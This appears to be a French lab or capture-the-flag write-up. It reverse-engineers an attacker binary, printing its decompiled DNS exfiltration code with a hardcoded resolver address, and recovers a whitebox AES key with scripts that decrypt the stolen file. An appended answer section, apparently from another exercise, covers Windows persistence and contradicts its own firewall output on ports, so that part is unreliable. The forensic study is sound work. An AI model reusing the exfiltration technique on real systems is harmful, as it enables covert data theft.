IRBF attack

Charpentier A., De-Pontac C., Le Bohec R. , Miralves T., Naulin A., Rataud Q.

← IRBF attack · Conversation fatale / Mais d'ou?! / 3e étape : Exfiltration / Un furet dans le labo?

3e étape : Exfiltration

On vous demande de comprendre comment les données ont pu être exfiltrées sans

être repérées.

On cherche dans cette étape à analyser comment

l'attaquant s'y est pris pour exfiltrer

les données de recherche du laboratoire sans

se faire repérer.

En analysant les fichiers laissés par l'attaquant

sur la machine, on y retrouve un binaire suspect.

On vous donne une capture réseau effectuée.

Votre objectif est de comprendre exactement

la méthodologie de l'attaquant pour faire sortir

les documents du laboratoire.

Cote 47 pts

Faire son rapport

Étape 1 – Exfiltration DNS

On a récupéré le binaire cipher, passons-le
dans Ghidra pour voir de quoi il est question.

On remarque rapidement une fonction nommée exfil, qui serait
vraisemblablement utile pour l'exfiltration des données.
En inspectant son contenu, on comprend que cette fonction effectue
une requête DNS à <compteur>.<payload>.<domain>.

  snprintf(address,0x100,"%lu.%s.%s",counter,payload,domain);
  counter = counter + 1;
  printf("Sending DNS query for: %s\n",address);

La résolution DNS est directement faite par UDP, et l'adresse
du serveur DNS est directement renseignée dans le code.
En effet, un peu plus loin, on observe le bloc de code suivant :

    local_368.sa_family = 2;
    local_368.sa_data._0_2_ = htons(0x35);
    local_368.sa_data[2] = -0x2f;
    local_368.sa_data[3] = 'a';
    local_368.sa_data[4] = -0x45;
    local_368.sa_data[5] = 'v';
    sVar1 = sendto(local_10,local_218,(long)local_21c,0,&local_368,0x10);

qui, une fois retypé et renommé correctement, nous révèle l'adresse
du serveur de résolution DNS :

    dest.sa_data[2] = 209;
    dest.sa_data[3] = 97;
    dest.sa_data[4] = 187;
    dest.sa_data[5] = 118;

On peut alors reconstituer exactement l'ensemble des blocs envoyés depuis les
journaux des requêtes DNS, en les triant grâce au compteur, et en mettant
les charges bout à bout.

Étape 2 — Whitebox AES

Reverse

On remarque également très vite une fonction aes_encrypt, qui ressemble
parfaitement au chiffrement d'un bloc de 16 octets par AES.

undefined8 aes_encrypt(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  undefined local_28 [24];
  uint local_10;
  uint local_c;

  local_10 = 10;
  aes_init_state(local_28,param_2,param_3);
  aes_add_round_key(local_28,param_3,0);
  for (local_c = 1; local_c < local_10; local_c = local_c + 1) {
    aes_sub_bytes(local_28);
    aes_shift_rows(local_28);
    aes_mix_columns(local_28);
    aes_add_round_key(local_28,param_3,local_c & 0xff);
  }
  aes_sub_bytes(local_28);
  aes_shift_rows(local_28);
  aes_add_round_key(local_28,param_3,local_10 & 0xff);
  aes_deinit_state(param_1,local_28);
  return 0;
}

On regarde alors dans la fonction aes_add_round_key pour retrouver la clé
utilisée, quand, surprise :

void aes_add_round_key(void)

{
  return;
}

La fonction est vide, la clé n'est pas là !
On regarde alors les autres fonctions en action.
aes_shift_rows et aes_mix_columns semblent avoir le comportement
attendu des étapes correspondantes du chiffrement AES.

aes_sub_bytes est en revanche intrigante :

void aes_sub_bytes(long param_1)

{
  undefined local_9;

  for (local_9 = 0; local_9 < 0x10; local_9 = local_9 + 1) {
    *(undefined *)(param_1 + (int)(uint)local_9) =
         *(undefined *)(*(long *)(param_1 + 0x10) + (ulong)*(byte *)(param_1 + (int)(uint)local_9));
    *(long *)(param_1 + 0x10) = *(long *)(param_1 + 0x10) + 0x100;
  }
  return;
}

On peut déduire de cette décompilation (ainsi que de la décompilation
de aes_shift_rows, par exemple) que param_1 est un pointeur vers une
structure, avec vraisemblablement deux champs :

  • En 0x00, les 16 octets d'état d'AES
  • En 0x10, de la donnée supplémentaire, qui est uniquement utilisée
    dans aes_sub_bytes et aes_init_state.

En regardant aes_init_state et les paramètres passés depuis main,
on voit qu'il s'agit de key en 0x10.
Profitons-en pour décrire dans Ghidra cette structure :

struct state {
    uint8_t state[16];
    uint8_t *key;
};

En retypant aes_sub_bytes, on obtient la fonction suivante :

void aes_sub_bytes(state *aes_state)

{
  byte i;

  for (i = 0; i < 0x10; i = i + 1) {
    aes_state->state[i] = aes_state->key[aes_state->state[i]];
    aes_state->key = aes_state->key + 0x100;
  }
  return;
}

On comprend ici que la boîte-S a été remplacée par une boîte spécifique
pour chaque octet et chaque tour d'AES, afin de faire les fonctions
SubBytes et AddRoundKey en simultané.

En regardant la fonction main pour retrouver le chargement de la clé,
on trouve que la "clé" est en effet un énorme tableau de plus de
40 000 éléments.

Récupération de la clé AES

On peut alors retrouver la clé AES correspondante de différentes manières,
dynamiquement ou statiquement.
On va ici montrer comment la récupérer de manière statique.

Regardons comment un SubBytes modifié pourrait effectuer le même rôle
qu'un AddRoundKey et un SubBytes classique.
Appelons $\text{SB}$ la boîte-S de Rijndael communément utilisée pour AES,
et $\text{SB}'_{i,j}$ la boîte de substitution utilisée par le binaire
pour le $j$-ème octet du tour $i$.

Pour un AES classique, le premier AddRoundKey et SubBytes transforment
l'octet $x_j$ de l'état en $\text{SB}[x_j \oplus K_j]$, avec $K$ la clé AES.
Notre SubBytes modifié transforme quant à lui l'octet $x_j$ de l'état en
$\text{SB}'_{0,j}[x_j]$.

On retrouve alors l'égalité $\text{SB}'{0,j}[x_j] = \text{SB}[x_j \oplus K_j]$,
soit $K_j = \text{SB}^{-1}[\text{SB}'
{0,j}[x_j]] \oplus x_j$.

Ainsi, en appliquant la boîte-S inverse de Rijndael tous les 256 octets du grand
tableau $\text{SB}'$ décrivant la "clé", on devrait retrouver $x \oplus K_j$,
avec $x$ allant de $0$ à $255$.

Les 16 premiers paquets de 256 octets, correspondants au premier tour
de AddRoundKey/SubBytes, nous permettent de retrouver les 16 octets de
la première clé de tour d'AES, qui correspond simplement à la clé AES utilisée.

Voici un script Python permettant de retrouver la vraie clé AES depuis le
tableau key du binaire :

inv_sbox = [
    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
    0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
    0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
    0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
    0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
    0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
    0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
    0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
    0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
    0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
    0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d
]

for j in range(256):
    for i in range(16):
        print(f'{inv_sbox[key[i * 256 + j]] ^ j:02x}', end = '')
    print()

Le résultat affiche 256 fois la même valeur, ce qui confirme qu'il s'agit
de la clé AES utilisée.

Déchiffrement d'un fichier chiffré

Encore un peu d'analyse de la fonction main du binaire nous permet de
comprendre que le fichier donné est chiffré en mode CBC (blocs chaînés),
avec un vecteur d'initialisation aléatoire.
Les 16 premiers octets affichés correspondent au vecteur d'initialisation,
et le reste correspond au chiffré.
Le contenu est rembourré à 16 octets de manière traditionnelle.

Considérons le fichier encrypted.pdf, récupéré depuis l'exfiltration DNS.
On peut déchiffrer son contenu avec un simple script Python :

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('encrypted.pdf', 'rb') as f:
    content = f.read()

iv = bytes(content[:16])
ct = bytes(content[16:])

key = b"(la clé trouvée à l'étape précédente)"
cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(ct), 16)

with open('recovered.pdf', 'wb') as f:
    f.write(pt)

Ouvrir le fichier recovered.pdf produit permet de retrouver aisément
l'auteur du papier.


Résolution

Question 1

Cette étape permet d'introduire le début de l'exercice sur la persistance.

L'attaquant commence ses actions par une copie du reverse shell dans le dossier startup de l'utilisateur du shell. Il fait une malheureuse typo dans le chemin de destination.
Le log d'échec est visible à la fin des logs de PowerShell. Le nom du binaire copié est le même que celui de l'exercice 1 et permet de reconnaître l'action comme malveillante.

Question 2

Pour retrouver l'action de persistance de l'attaquant, il faut se tourner vers les logs de sécurité. Un bon moyen de persistance sur Windows sont les registres.

En regardant les logs, on remarque qu'un PowerShell lance un cmd. Ce cmd exécute WindowsUpdate, et ce dernier lance reg.exe à 18h 25m 42s. Ce comportement est suspect.
Il n'existe également pas d'exécutable WindowsUpdate par défaut dans les dossiers systèmes de Windows.

Ici, le comportement et le nom de l'exécutable donnent les indices pour trouver la réponse. De plus, la question 1 identifie la copie d'un exécutable, ce qui incite à vérifier les noms, car d'autres copies ont pu être faites.

Question 3

Pour cette étape, il faut se fier aux logs. Des similitudes peuvent être remarquées en comparant les logs de WindowsUpdate.exe et ceux du véritable PowerShell.exe. Le lancement de reg.exe est aussi un indicateur.

Question 4

Le lancement d'ipconfig est identifiable dans les logs de sécurité et lancé par SystemUpdate, qui n'existe pas par défaut dans les dossiers systèmes de Windows.
Cet exécutable permet de récupérer des informations sur le réseau du PC, et par exemple le cache DNS du PC. Le cache DNS contient les noms des machines et les IP associées.
Le nom du PC actuel étant PCRH01, des PC de personnes avec plus de privilèges peuvent être reconnus PCDSI01 ou PCPDG01.

Question 5

Il suffit de grep l'adresse IP du PC du PDG dans le bon fichier de logs, à savoir logs_fw.log.
On obtient alors :

$ grep "192.168.30.100 [0-9]* " files/log_fw.txt
251:2022-02-27 17:32:50 ALLOW TCP 10.9.0.26 192.168.30.100 58755 3389 0 - 0 0 0 - - - RECEIVE 1136
5346:2022-02-27 21:07:01 ALLOW TCP 10.9.0.26 192.168.30.100 62233 3389 0 - 0 0 0 - - - RECEIVE 1136

Le protocole utilisant le port 445 est celui attendu en réponse.

Question 6

Normalement trivial, l'attaque bien connue qui exploite une faille dans l'implémentation de ce protocole sous Windows.